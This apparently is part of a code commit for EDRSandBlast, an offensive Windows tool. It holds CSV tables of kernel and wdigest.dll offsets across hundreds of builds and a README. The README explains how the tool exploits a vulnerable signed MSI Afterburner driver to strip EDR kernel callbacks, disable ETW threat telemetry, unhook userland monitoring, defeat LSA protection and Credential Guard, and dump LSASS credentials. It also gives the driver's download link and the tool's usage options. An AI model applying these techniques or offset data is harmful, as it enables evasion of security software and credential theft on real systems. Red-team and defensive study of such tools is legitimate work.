ntoskrnl_17763-831.exe,4d8c70,4d8870,4d8a70,6ca,409610,20,50
|
||||
ntoskrnl_17763-864.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50
|
||||
ntoskrnl_17763-914.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50
|
||||
ntoskrnl_17763-973.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50
|
||||
ntoskrnl_18362-1016.exe,505fa0,505ba0,505da0,6fa,434bf8,20,60
|
||||
ntoskrnl_18362-1049.exe,503fe0,503be0,503de0,6fa,432c38,20,60
|
||||
ntoskrnl_18362-1082.exe,503fa0,503ba0,503da0,6fa,432bf8,20,60
|
||||
ntoskrnl_18362-1110.exe,503fa0,503ba0,503da0,6fa,432c18,20,60
|
||||
ntoskrnl_18362-1139.exe,5040a0,503ca0,503ea0,6fa,432c98,20,60
|
||||
ntoskrnl_18362-116.exe,500de0,5009e0,500be0,6fa,42fa48,20,50
|
||||
ntoskrnl_18362-1171.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
|
||||
ntoskrnl_18362-1198.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
|
||||
ntoskrnl_18362-1237.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
|
||||
ntoskrnl_18362-1256.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
|
||||
ntoskrnl_18362-1316.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
|
||||
ntoskrnl_18362-1350.exe,503b60,503d60,503960,6fa,432bf8,20,60
|
||||
ntoskrnl_18362-1377.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
|
||||
ntoskrnl_18362-1379.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
|
||||
ntoskrnl_18362-1411.exe,503de0,5039e0,503be0,6fa,432c38,20,60
|
||||
ntoskrnl_18362-1440.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
|
||||
ntoskrnl_18362-1441.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
|
||||
ntoskrnl_18362-145.exe,500de0,5009e0,500be0,6fa,42f9e8,20,50
|
||||
ntoskrnl_18362-1474.exe,503ba0,503da0,5039a0,6fa,432c38,20,60
|
||||
ntoskrnl_18362-1500.exe,503b60,503d60,503960,6fa,432c18,20,60
|
||||
ntoskrnl_18362-1533.exe,503e20,503a20,503c20,6fa,432c78,20,60
|
||||
ntoskrnl_18362-1556.exe,503e20,503a20,503c20,6fa,432c78,20,60
|
||||
ntoskrnl_18362-1621.exe,503e20,503a20,503c20,6fa,432c78,20,60
|
||||
ntoskrnl_18362-1679.exe,502da0,5029a0,502ba0,6fa,431bf8,20,60
|
||||
ntoskrnl_18362-1734.exe,503de0,5039e0,503be0,6fa,432c38,20,60
|
||||
ntoskrnl_18362-1801.exe,503ce0,503ee0,503ae0,6fa,432c38,20,60
|
||||
ntoskrnl_18362-207.exe,500de0,5009e0,500be0,6fa,42fa48,20,50
|
||||
ntoskrnl_18362-239.exe,500de0,5009e0,500be0,6fa,42fa48,20,50
|
||||
ntoskrnl_18362-267.exe,503f60,503b60,503d60,6fa,432c60,20,50
|
||||
ntoskrnl_18362-295.exe,503fa0,503ba0,503da0,6fa,432c48,20,50
|
||||
ntoskrnl_18362-30.exe,500d60,500960,500b60,6fa,42fa40,20,50
|
||||
ntoskrnl_18362-329.exe,504ee0,5050e0,504ce0,6fa,433c28,20,50
|
||||
ntoskrnl_18362-356.exe,505060,504c60,504e60,6fa,433c90,20,50
|
||||
ntoskrnl_18362-357.exe,505060,504c60,504e60,6fa,433c90,20,50
|
||||
ntoskrnl_18362-387.exe,505fe0,505be0,505de0,6fa,434c38,20,50
|
||||
ntoskrnl_18362-388.exe,505fe0,505be0,505de0,6fa,434c38,20,50
|
||||
ntoskrnl_18362-418.exe,505ee0,5060e0,505ce0,6fa,434c58,20,50
|
||||
ntoskrnl_18362-449.exe,505da0,505fa0,505ba0,6fa,434c58,20,50
|
||||
ntoskrnl_18362-476.exe,506060,505c60,505e60,6fa,434c78,20,50
|
||||
ntoskrnl_18362-535.exe,506020,505c20,505e20,6fa,434c78,20,50
|
||||
ntoskrnl_18362-592.exe,506060,505c60,505e60,6fa,434c80,20,50
|
||||
ntoskrnl_18362-628.exe,506060,505c60,505e60,6fa,434c78,20,50
|
||||
ntoskrnl_18362-657.exe,505e60,506060,505c60,6fa,434c78,20,50
|
||||
ntoskrnl_18362-693.exe,505de0,505fe0,505be0,6fa,434c38,20,60
|
||||
ntoskrnl_18362-719.exe,505e20,506020,505c20,6fa,434c78,20,60
|
||||
ntoskrnl_18362-720.exe,505e20,506020,505c20,6fa,434c78,20,60
|
||||
ntoskrnl_18362-752.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60
|
||||
ntoskrnl_18362-753.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60
|
||||
ntoskrnl_18362-778.exe,505e60,506060,505c60,6fa,434c70,20,60
|
||||
ntoskrnl_18362-815.exe,505e60,506060,505c60,6fa,434c70,20,60
|
||||
ntoskrnl_18362-836.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60
|
||||
ntoskrnl_18362-900.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60
|
||||
ntoskrnl_18362-904.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60
|
||||
ntoskrnl_18362-959.exe,505ea0,5060a0,505ca0,6fa,434cb8,20,60
|
||||
ntoskrnl_18362-997.exe,505e60,506060,505c60,6fa,434c78,20,60
|
||||
ntoskrnl_19041-1023.exe,cec460,cec260,cec060,87a,c19db8,20,60
|
||||
ntoskrnl_19041-1052.exe,cebfe0,cec3e0,cec1e0,87a,c19790,20,60
|
||||
ntoskrnl_19041-1055.exe,cec020,cec420,cec220,87a,c19790,20,60
|
||||
ntoskrnl_19041-1081.exe,cec1e0,cebfe0,cec3e0,87a,c19758,20,60
|
||||
ntoskrnl_19041-1082.exe,cec420,cec220,cec020,87a,c19758,20,60
|
||||
ntoskrnl_19041-1083.exe,cec420,cec220,cec020,87a,c19758,20,60
|
||||
ntoskrnl_19041-1110.exe,cec120,cebf20,cec320,87a,c197f8,20,60
|
||||
ntoskrnl_19041-1151.exe,cec320,cec120,cebf20,87a,c197c0,20,60
|
||||
ntoskrnl_19041-1165.exe,cec2e0,cec0e0,cebee0,87a,c197a0,20,60
|
||||
ntoskrnl_19041-1202.exe,cec320,cec120,cebf20,87a,c197d0,20,60
|
||||
ntoskrnl_19041-1237.exe,cec320,cec120,cebf20,87a,c197d0,20,60
|
||||
ntoskrnl_19041-1266.exe,cec3a0,cec1a0,cebfa0,87a,c19770,20,60
|
||||
ntoskrnl_19041-1288.exe,cec1a0,cebfa0,cec3a0,87a,c19790,20,60
|
||||
ntoskrnl_19041-264.exe,cec060,cec260,cebe60,87a,c19858,20,60
|
||||
ntoskrnl_19041-329.exe,cec320,cebf20,cec120,87a,c19898,20,60
|
||||
ntoskrnl_19041-331.exe,cec320,cebf20,cec120,87a,c19898,20,60
|
||||
ntoskrnl_19041-388.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60
|
||||
ntoskrnl_19041-423.exe,cec160,cec360,cebf60,87a,c198b8,20,60
|
||||
ntoskrnl_19041-450.exe,cec320,cebf20,cec120,87a,c198b8,20,60
|
||||
ntoskrnl_19041-488.exe,cec220,cec420,cec020,87a,c19918,20,60
|
||||
ntoskrnl_19041-508.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60
|
||||
ntoskrnl_19041-546.exe,cec420,cec020,cec220,87a,c19938,20,60
|
||||
ntoskrnl_19041-572.exe,cec420,cec020,cec220,87a,c19938,20,60
|
||||
ntoskrnl_19041-610.exe,cec220,cec420,cec020,87a,c19978,20,60
|
||||
ntoskrnl_19041-630.exe,cec220,cec420,cec020,87a,c19978,20,60
|
||||
ntoskrnl_19041-631.exe,cec220,cec420,cec020,87a,c19978,20,60
|
||||
ntoskrnl_19041-662.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60
|
||||
ntoskrnl_19041-685.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60
|
||||
ntoskrnl_19041-746.exe,cebfe0,cec3e0,cec1e0,87a,c198f8,20,60
|
||||
ntoskrnl_19041-789.exe,cec220,cec620,cec420,87a,c19998,20,60
|
||||
ntoskrnl_19041-804.exe,cec420,cec220,cec020,87a,c19918,20,60
|
||||
ntoskrnl_19041-844.exe,cec660,cec460,cec260,87a,c19fa8,20,60
|
||||
ntoskrnl_19041-867.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60
|
||||
ntoskrnl_19041-868.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60
|
||||
ntoskrnl_19041-870.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60
|
||||
ntoskrnl_19041-906.exe,cec5e0,cec3e0,cec1e0,87a,c199d0,20,60
|
||||
ntoskrnl_19041-928.exe,cec520,cec320,cec120,87a,c19950,20,60
|
||||
ntoskrnl_19041-964.exe,cec0e0,cebee0,cec2e0,87a,c19d38,20,60
|
||||
ntoskrnl_19041-985.exe,cec360,cec160,cebf60,87a,c19d78,20,60
|
||||
ntoskrnl_22000-194.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60
|
||||
ntoskrnl_22000-258.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60
|
||||
ntoskrnl_22000-282.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60
|
||||
|
@@ -0,0 +1,33 @@
|
||||
wdigestVersion,g_fParameter_UseLogonCredentialOffset,g_IsCredGuardEnabledOffset
|
||||
wdigest_10240-18244.dll,35144,34ba0
|
||||
wdigest_10240-18608.dll,35144,34ba0
|
||||
wdigest_10586-0.dll,35db0,35ba8
|
||||
wdigest_15254-245.dll,34d8c,34b88
|
||||
wdigest_10240-17184.dll,35144,34ba0
|
||||
wdigest_14393-3750.dll,35dc0,35ba8
|
||||
wdigest_15063-1868.dll,34d8c,34b88
|
||||
wdigest_14393-0.dll,35dc0,35ba8
|
||||
wdigest_14393-3808.dll,35dc0,35ba8
|
||||
wdigest_10240-18638.dll,35144,34ba0
|
||||
wdigest_14393-3024.dll,35dc0,35ba8
|
||||
wdigest_10240-16384.dll,35134,0
|
||||
wdigest_16299-192.dll,35114,34b88
|
||||
wdigest_16299-1937.dll,35114,34b88
|
||||
wdigest_16299-1217.dll,35114,34b88
|
||||
wdigest_17134-1610.dll,36114,35b88
|
||||
wdigest_16299-1992.dll,35114,34b88
|
||||
wdigest_17134-829.dll,35114,34b88
|
||||
wdigest_17134-590.dll,35114,34b88
|
||||
wdigest_17134-1553.dll,35114,34b88
|
||||
wdigest_17763-194.dll,35114,34b88
|
||||
wdigest_17763-1339.dll,36114,35b88
|
||||
wdigest_17763-1294.dll,35114,34b88
|
||||
wdigest_17763-557.dll,35114,34b88
|
||||
wdigest_18362-175.dll,35124,34b88
|
||||
wdigest_18362-959.dll,36124,35b88
|
||||
wdigest_19041-1001.dll,361b4,35c08
|
||||
wdigest_18362-904.dll,35124,34b88
|
||||
wdigest_19041-388.dll,361b4,35c08
|
||||
wdigest_19041-329.dll,361b4,35c08
|
||||
wdigest_22406-1000.dll,3caa4,3cab0
|
||||
wdigest_18362-1216.dll,35124,34b88
|
||||
|
@@ -0,0 +1,2 @@
|
||||
requests
|
||||
pywin32
|
||||
@@ -0,0 +1,479 @@
|
||||
# EDRSandBlast
|
||||
|
||||
`EDRSandBlast` is a tool written in `C` that weaponize a vulnerable signed
|
||||
driver to bypass `EDR` detections (Kernel callbacks and `ETW TI` provider) and
|
||||
`LSASS` protections. Multiple userland unhooking techniques are also
|
||||
implemented to evade userland monitoring.
|
||||
|
||||
As of release, combination of userland (`--usermode`) and Kernel-land
|
||||
(`--kernelmode`) techniques were used to dump `LSASS` memory under `EDR`
|
||||
scrutiny, without being blocked nor generating "OS Credential Dumping"-related
|
||||
events in the product (cloud) console. The tests were performed on 3 distinct
|
||||
`EDR` products and were successful in each case.
|
||||
|
||||
## Description
|
||||
|
||||
### EDR bypass through Kernel callbacks removal
|
||||
|
||||
`EDR` products use Kernel callbacks on Windows to be notified by the kernel of
|
||||
system activity, such as process and thread creation and loading of images
|
||||
(`exe` / `DLL`).
|
||||
|
||||
The Kernel callbacks are defined from user-land using a number of documented
|
||||
APIs (`nt!PsSetCreateProcessNotifyRoutine`, `nt!PsSetCreateThreadNotifyRoutine`,
|
||||
etc.). The user-land APIs add driver-supplied callback routines to undocumented
|
||||
arrays of routines in Kernel-space:
|
||||
- `PspCreateProcessNotifyRoutine` for process creation
|
||||
- `PspCreateThreadNotifyRoutine` for thread creation
|
||||
- `PspLoadImageNotifyRoutine` for image loading
|
||||
|
||||
`EDRSandBlast` enumerates the routines defined in those arrays and remove any
|
||||
callback routine linked to a predefined list of `EDR` drivers (more than 1000
|
||||
thousands drivers of security products from the
|
||||
[allocated filter altitudes](https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/allocated-altitudes)).
|
||||
The enumeration and removal are made possible through the exploitation of an
|
||||
arbitrary Kernel memory read / write vulnerability of the
|
||||
`Micro-Star MSI Afterburner` driver (`CVE-2019-16098`). The enumeration and
|
||||
removal code is largely inspired from
|
||||
[br-sn's CheekyBlinder project](https://github.com/br-sn/CheekyBlinder).
|
||||
|
||||
The offsets of the aforementioned arrays are hardcoded in the
|
||||
`NtoskrnlOffsets.csv` file for more than 350 versions of the Windows Kernel
|
||||
`ntoskrnl.exe`. The choice of going with hardcoded offsets instead of pattern
|
||||
searches is justified by the fact that the undocumented APIs responsible for
|
||||
Kernel callbacks addition / removal are subject to change and that any attempt
|
||||
to write Kernel memory at the wrong address may (and often will) result in a
|
||||
`Bug Check` (`Blue Screen of Death`). For more information on how the offsets
|
||||
were gathered, refer to [Offsets section](Offsets).
|
||||
|
||||
### EDR bypass through deactivation of the ETW Microsoft-Windows-Threat-Intelligence provider
|
||||
|
||||
The `ETW Microsoft-Windows-Threat-Intelligence` provider log data about the
|
||||
usages of some Windows API commonly used maliciously. This include the
|
||||
`nt!MiReadWriteVirtualMemory` API, called by `nt!NtReadVirtualMemory` (which is
|
||||
used to dump `LSASS` memory) and monitored by the `nt!EtwTiLogReadWriteVm`
|
||||
function.
|
||||
|
||||
`EDR` products can consume the logs produced by the `ETW TI` provider through
|
||||
services or processes running as, respectively,
|
||||
`SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT` or
|
||||
`PS_PROTECTED_ANTIMALWARE_LIGHT`, and associated with an `Early Launch Anti
|
||||
Malware (ELAM)` driver.
|
||||
|
||||
As published by
|
||||
[`slaeryan` in a `CNO Development Labs` blog post](https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider),
|
||||
the `ETW TI` provider can be disabled altogether by patching, in kernel memory,
|
||||
its `ProviderEnableInfo` attribute to `0x0`. Refer to the great aforementioned
|
||||
blog post for more information on the technique.
|
||||
|
||||
Similarly to the Kernel callbacks removal, the necessary `ntoskrnl.exe` offsets
|
||||
(`nt!EtwThreatIntProvRegHandleOffset`, `_ETW_REG_ENTRY`'s `GuidEntry`, and
|
||||
`_ETW_GUID_ENTRY`'s `ProviderEnableInfo`) are hardcoded in the
|
||||
`NtoskrnlOffsets.csv` file a number of the Windows Kernel versions.
|
||||
|
||||
### EDR bypass through userland hooking bypass
|
||||
#### How userland hooking works
|
||||
In order to easily monitor actions that are performed by processes, EDR products often
|
||||
deploy a mechanism called *userland hooking*. First, EDR products register a kernel
|
||||
callback (usually *image loading* or *process creation* callbacks, see above) that allows
|
||||
them to be notified upon each process start.
|
||||
|
||||
|
||||
When a process is loaded by Windows, and before it actually starts, the EDR is able to
|
||||
inject some custom DLL into the process address space, which contains its monitoing
|
||||
logic. While loading, this DLL injects "*hooks*" at the start of every function that is to
|
||||
be monitored by the EDR. At runtime, when the monitored functions are called by the
|
||||
process under surveillance, these hooks redirect the control flow to some supervision code
|
||||
present in the EDR's DLL, which allows it to inspect arguments and return values of these
|
||||
calls.
|
||||
|
||||
Most of the time, monitored functions are system calls (such as `NtReadVirtualMemory`,
|
||||
`NtOpenProcess`, etc.), whose implementations reside in `ntdll.dll`. Intercepting calls to
|
||||
`Nt*` functions allows products to be as close as possible to the userland / kernel-land
|
||||
boundary (while remaining in userland), but functions from some higher-level DLLs may also
|
||||
be monitored as well.
|
||||
|
||||
Bellow are examples of the same function, before and after beeing hooked by the EDR product:
|
||||
```assembly
|
||||
NtProtectVirtualMemory proc near
|
||||
mov r10, rcx
|
||||
mov eax, 50h
|
||||
test byte ptr ds:7FFE0308h, 1
|
||||
jnz short loc_18009D1E5
|
||||
syscall
|
||||
retn
|
||||
loc_18009D1E5:
|
||||
int 2Eh
|
||||
retn
|
||||
NtProtectVirtualMemory endp
|
||||
```
|
||||
|
||||
```assembly
|
||||
NtProtectVirtualMemory proc near
|
||||
jmp sub_7FFC74490298 ; --> "hook", jump to EDR analysis function
|
||||
int 3 ; overwritten instructions
|
||||
int 3 ; overwritten instructions
|
||||
int 3 ; overwritten instructions
|
||||
test byte_7FFE0308, 1 ; <-- execution resumes here after analysis
|
||||
jnz short loc_7FFCB44AD1E5
|
||||
syscall
|
||||
retn
|
||||
loc_7FFCB44AD1E5:
|
||||
int 2Eh
|
||||
retn
|
||||
NtProtectVirtualMemory endp
|
||||
```
|
||||
|
||||
#### Hooks detection
|
||||
Userland hooks have the "weakness" to be located in userland memory, which means they are
|
||||
directly observable and modifiable by the process under scrutiny. To automatically detect
|
||||
hooks in the process address space, the main idea is to compare the differences between
|
||||
the original DLL on disk and the library residing in memory, that has been potentially
|
||||
altered by an EDR. To perform this comparison, the following steps are followed by
|
||||
EDRSandblast:
|
||||
* The list of all loaded DLLs is enumerated thanks to the `InLoadOrderModuleList` located
|
||||
int the `PEB` (to avoid calling any API that could be monitored and suspect)
|
||||
* For each loaded DLL, its content on disk is read and its headers parsed. The
|
||||
corresponding library, residing in memory, is also parsed to identify sections, exports,
|
||||
etc.
|
||||
* Relocations of the DLL are parsed and applied, by taking the base address of the
|
||||
corresponding loaded library into account. This allows the content of both the in-memory
|
||||
library and DLL originating from disk to have the exact same content (on sections where
|
||||
relocations are applied), and thus making the comparison reliable.
|
||||
* Exported functions are enumerated and the first bytes of the "in-memory" and "on-disk"
|
||||
versions are compared. Any difference indicates an alteration that has been made after
|
||||
the DLL was loaded, and thus is very probably an EDR hook.
|
||||
|
||||
Note: The process can be generalized to find differences anywhere in non-writable sections
|
||||
and not only at the start of exported functions, for example if EDR products start to
|
||||
apply hooks in the middle of function :) Thus not used by the tool, this has been
|
||||
implemented in `findDiffsInNonWritableSections`.
|
||||
|
||||
|
||||
In order to bypass the monitoring performed by these hooks, multiples techniques are
|
||||
possible, and each has benefits and drawbacks.
|
||||
|
||||
#### Hook bypass using ... unhooking
|
||||
The most intuitive method to bypass the hook-based monitoring is to remove the
|
||||
hooks. Since the hooks are present in memory that is reachable by the process itself, to
|
||||
remove a hook, the process can simply:
|
||||
* Change the permissions on the page where the hook is located (RX -> RWX or RW)
|
||||
* Write the original bytes that are known thanks to the on-disk DLL content
|
||||
* Change back the permissions to RX
|
||||
|
||||
This approach is fairly simple, and can be used to remove every detected hook all at
|
||||
once. Performed by an offensive tool at its begining, this allows the rest of the code to
|
||||
be completely unaware of the hooking mechnanism and perform normally without being
|
||||
monitored.
|
||||
|
||||
However, it has two main drawbacks. The EDR is probably monitoring the use of
|
||||
`NtProtectVirtualMemory`, so using it to change the permissions of the page where the
|
||||
hooks have been installed is (at least conceptually) a bad idea. Also, if a thread is
|
||||
executed by the EDR and periodically check the integrity of the hooks, this could also
|
||||
trigger some detection.
|
||||
|
||||
For implementation details, check the `unhook()` function's code path when `unhook_method` is
|
||||
`UNHOOK_WITH_NTPROTECTVIRTUALMEMORY`.
|
||||
|
||||
**Important note: for simplicity, this technique is implemented in EDRSandblast as the
|
||||
base technique used to *showcase* the other bypass techniques; each of them demonstrates
|
||||
how to obtain an unmonitored version of `NtProtectVirtualMemory`, but performs the same
|
||||
operation afterward (unhooking a specific hook).**
|
||||
|
||||
#### Hook bypass using a custom trampoline
|
||||
To bypass a specific hook, it is possible to simply "jump over" and execute the rest of
|
||||
the function as is. First, the original bytes of the monitored function, that have been
|
||||
overwritten by the EDR to install the hook, must be recovered from the DLL file. In our
|
||||
previous code example, this would be the bytes corresponding to the following
|
||||
instructions:
|
||||
|
||||
```assembly
|
||||
mov r10, rcx
|
||||
mov eax, 50h
|
||||
```
|
||||
|
||||
Identifying these bytes is a simple task since we are able to perform a clean *diff* of
|
||||
both the memory and disk versions of the library, as previously described. Then, we
|
||||
assemble a jump instruction that is built to redirect the control flow to the code
|
||||
following immediately the hook, at address `NtProtectVirtualMemory +
|
||||
sizeof(overwritten_instructions)`
|
||||
|
||||
```assembly
|
||||
jmp NtProtectVirtualMemory+8
|
||||
```
|
||||
|
||||
Finally, we concatenate these opcodes, store them in (newly) executable memory and keep a
|
||||
pointer to them. This object is called a "*trampoline*" and can then be used as a function
|
||||
pointer, strictly equivalent to the original `NtProtectVirtualMemory` function.
|
||||
|
||||
The main benefit of this technique as for every techniques bellow, is that the hook is
|
||||
never erased, so any integrity check performed on the hooks by the EDR should
|
||||
pass. However, it requires to allocate writable then executable memory, which is typical
|
||||
of a shellcode allocation, thus attracting the EDR's scrutiny.
|
||||
|
||||
For implementation details, check the `unhook()` function's code path when `unhook_method` is
|
||||
`UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE`. Please remind the technique is
|
||||
only showcased in our implementation and is, in the end, used to **remove** hooks from
|
||||
memory, as every technique bellow.
|
||||
|
||||
#### Hook bypass using the own EDR's trampoline
|
||||
The EDR product, in order for its hook to work, must save somewhere in memory the opcodes
|
||||
that it has removed. Worst (*or "better", from the attacker point of view*), to
|
||||
effectively use the original instructions the EDR has probably allocated itself a
|
||||
*trampoline* somewhere to execute the original function after having intercepted the call.
|
||||
|
||||
This trampoline can be searched for and used as a replacement for the hooked function,
|
||||
without the need to allocate executable memory, or call any API except `VirtualQuery`,
|
||||
which is most likely not monitored being an innocuous function.
|
||||
|
||||
To find the trampoline in memory, we browse the whole address space using `VirtualQuery`
|
||||
looking for commited and executable memory. For each such region of memory, we scan it to
|
||||
look for a jump instruction that targets the address following the overwritten
|
||||
instructions (`NtProtectVirtualMemory+8` in our previous example). The trampoline can then
|
||||
be used to call the hooked function without triggering the hook.
|
||||
|
||||
This technique works surprisingly well as it recovers nearly all trampolines on tested
|
||||
EDR. For implementation details, check the `unhook()` function's code path when
|
||||
`unhook_method` is `UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE`.
|
||||
|
||||
|
||||
#### Hook bypass using duplicate DLL
|
||||
Another simple method to get access to an unmonitored version of `NtProtectVirtualMemory`
|
||||
function is to load a duplicate version of the ntdll.dll library into the process address
|
||||
space. Since two identical DLLs can be loaded in the same process, provided they have
|
||||
different names, we can simply copy the legitimate `ntdll.dll` file into another location,
|
||||
load it using `LoadLibrary` (or reimplement the loading process), and access the function
|
||||
using `GetProcAddress` for example.
|
||||
|
||||
This technique is very simple to understand and implement, and have a decent chance of
|
||||
success, since most of EDR products does not re-install hooks on newly loaded DLLs once
|
||||
the process is running. However, the major drawback is that copying Microsoft signed
|
||||
binaries under a different name is often considered as suspicious by EDR products as
|
||||
itself.
|
||||
|
||||
This technique is nevertheless implemented in `EDRSandblast`. For implementation details, check
|
||||
the `unhook()` function's code path when `unhook_method` is
|
||||
`UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY`.
|
||||
|
||||
|
||||
#### Hook bypass using direct syscalls
|
||||
In order to use system calls related functions, one program can reimplement syscalls (in
|
||||
assembly) in order to call the corresponding OS features without actually touching the
|
||||
code in `ntdll.dll`, which might be monitored by the EDR. This completely bypasses any
|
||||
userland hooking done on syscall functions in `ntdll.dll`.
|
||||
|
||||
This nevertheless has some drawbacks. First, this implies been able to know the list of
|
||||
syscall numbers of functions the program needs, which changes for each version of
|
||||
Windows. Also, functions that are not technically syscalls
|
||||
(e.g. `LoadLibraryX`/`LdrLoadDLL`) could be monitored as well, and cannot simply be
|
||||
reimplemented using a syscall.
|
||||
|
||||
This technique is implemented in EDRSandblast. As previously stated, it is only used to
|
||||
execute `NtProtectVirtualMemory` safely, and remove all detected hooks. However, in order
|
||||
not to rely on hardcoded offsets, a small heuristic is implemented to search for `mov eax,
|
||||
imm32` instruction at the start of the `NtProtectVirtualMemory` function and recover the
|
||||
syscall number from it if found (else relying on hardcoded offset for known Windows
|
||||
versions).
|
||||
|
||||
For implementation details, check the `unhook()` function's code path when `unhook_method` is
|
||||
`UNHOOK_WITH_DIRECT_SYSCALL`.
|
||||
|
||||
### RunAsPPL bypass
|
||||
|
||||
The `Local Security Authority (LSA) Protection` mechanism, firstly introduced
|
||||
in Windows 8.1 and Windows Server 2012 R2, leverage the `Protected Process
|
||||
Light (PPL)` technology to restrict access to the `LSASS` process. The `PPL`
|
||||
protection regulates and restricts operations, such as memory injection or
|
||||
memory dumping of protected processes, even from process holding the
|
||||
`SeDebugPrivilege` privilege.
|
||||
|
||||
The protection level of a process is defined in its `EPROCESS` structure, used
|
||||
by the Windows kernel to represent processes in memory. The `EPROCESS`
|
||||
structure includes a `_PS_PROTECTION` field, defining the protection level of a
|
||||
process through its `Type` (`_PS_PROTECTED_TYPE`) and `Signer`
|
||||
(`_PS_PROTECTED_SIGNER`) attributes.
|
||||
|
||||
If no `EDR` drivers callbacks are detected, the current process is self
|
||||
protected as `PsProtectedSignerWinTcb-Light`. This level of protection is
|
||||
sufficient to dump the `LSASS` process memory, with `RunAsPPL` enabled, as
|
||||
the `PsProtectedSignerWinTcb` signer "dominates" `PsProtectedSignerLsa-Light`
|
||||
(and both process are of `PsProtectedTypeProtectedLight` type).
|
||||
|
||||
`EDRSandBlast` implements the self protection as follow:
|
||||
- open an handle to the current process
|
||||
- leak all system handles using `NtQuerySystemInformation` to find the opened
|
||||
handle on the current process (which correspond to the current process'
|
||||
`EPROCESS` structure in kernel memory).
|
||||
- use the arbitrary read / write vulnerability of the `Micro-Star MSI
|
||||
Afterburner` driver to overwrite the `_PS_PROTECTION` field of the current
|
||||
process in kernel memory. The offsets of the `_PS_PROTECTION` field
|
||||
relative to the `EPROCESS` structure (defined by the `ntoskrnl` version in
|
||||
use) are hardcoded in the `NtoskrnlOffsets.csv` file.
|
||||
|
||||
### Credential Guard bypass
|
||||
|
||||
Microsoft `Credential Guard` is a virtualization-based isolation technology,
|
||||
introduced in Microsoft's `Windows 10 (Enterprise edition)` which prevents
|
||||
direct access to the credentials stored in the `LSASS` process.
|
||||
|
||||
When `Credentials Guard` is activated, an `LSAIso` (*LSA Isolated*) process is
|
||||
created in `Virtual Secure Mode`, a feature that leverages the virtualization
|
||||
extensions of the CPU to provide added security of data in memory. Access to
|
||||
the `LSAIso` process are restricted even for an access with the
|
||||
`NT AUTHORITY\SYSTEM` security context. When processing a hash, the `LSA`
|
||||
process perform a `RPC` call to the `LSAIso` process, and waits for the
|
||||
`LSAIso` result to continue. Thus, the `LSASS` process won't contain any
|
||||
secrets and in place will store `LSA Isolated Data`.
|
||||
|
||||
As stated in original research conducted by `N4kedTurtle`: "`Wdigest` can be
|
||||
enabled on a system with Credential Guard by patching the values of
|
||||
`g_fParameter_useLogonCredential` and `g_IsCredGuardEnabled` in memory".
|
||||
The activation of `Wdigest` will result in cleartext credentials being stored
|
||||
in `LSASS` memory for any new interactive logons (with out requiring a reboot of
|
||||
the system). Refer to the
|
||||
[original research blog post](https://teamhydra.blog/2020/08/25/bypassing-credential-guard/)
|
||||
for more details on this technique.
|
||||
|
||||
`EDRSandBlast` simply make the original PoC a little more opsec friendly and
|
||||
provide support for a number of `wdigest.dll` versions (through hardcoded
|
||||
offsets for `g_fParameter_useLogonCredential` and `g_IsCredGuardEnabled`).
|
||||
|
||||
### ntoskrnl and wdigest offsets
|
||||
|
||||
The required `ntoskrnl.exe` and `wdigest.dll` offsets (mentioned above) are
|
||||
extracted using `r2pipe`, as implemented in the `ExtractOffsets.py` `Python`
|
||||
script. In order to support more Windows versions, the `ntoskrnl.exe` and
|
||||
`wdigest.dll` referenced by [Winbindex](https://winbindex.m417z.com/) can be
|
||||
automatically downloaded (and their offsets extracted). This allow to extract
|
||||
offsets from that files which appear in Windows update packages (to date 350+
|
||||
`ntoskrnl.exe` and 30+ `wdigest.dll` versions).
|
||||
|
||||
## Usage
|
||||
|
||||
The vulnerable `RTCore64.sys` driver can be retrieved at:
|
||||
|
||||
```
|
||||
http://download-eu2.guru3d.com/afterburner/%5BGuru3D.com%5D-MSIAfterburnerSetup462Beta2.zip
|
||||
```
|
||||
|
||||
### Quick usage
|
||||
|
||||
```
|
||||
EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard> [--usermode [--unhook-method <N>]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [-o | --dump-output <DUMP_FILE>]
|
||||
```
|
||||
|
||||
### Options
|
||||
|
||||
```
|
||||
-h | --help Show this help message and exit.
|
||||
-v | --verbose Enable a more verbose output.
|
||||
|
||||
Actions mode:
|
||||
|
||||
audit Display the user-land hooks and / or Kernel callbacks with out taking actions.
|
||||
dump Dump the LSASS process, by default as 'lsass' in the current directory or at the
|
||||
specified file using -o | --output <DUMP_FILE>.
|
||||
cmd Open a cmd.exe prompt.
|
||||
credguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if
|
||||
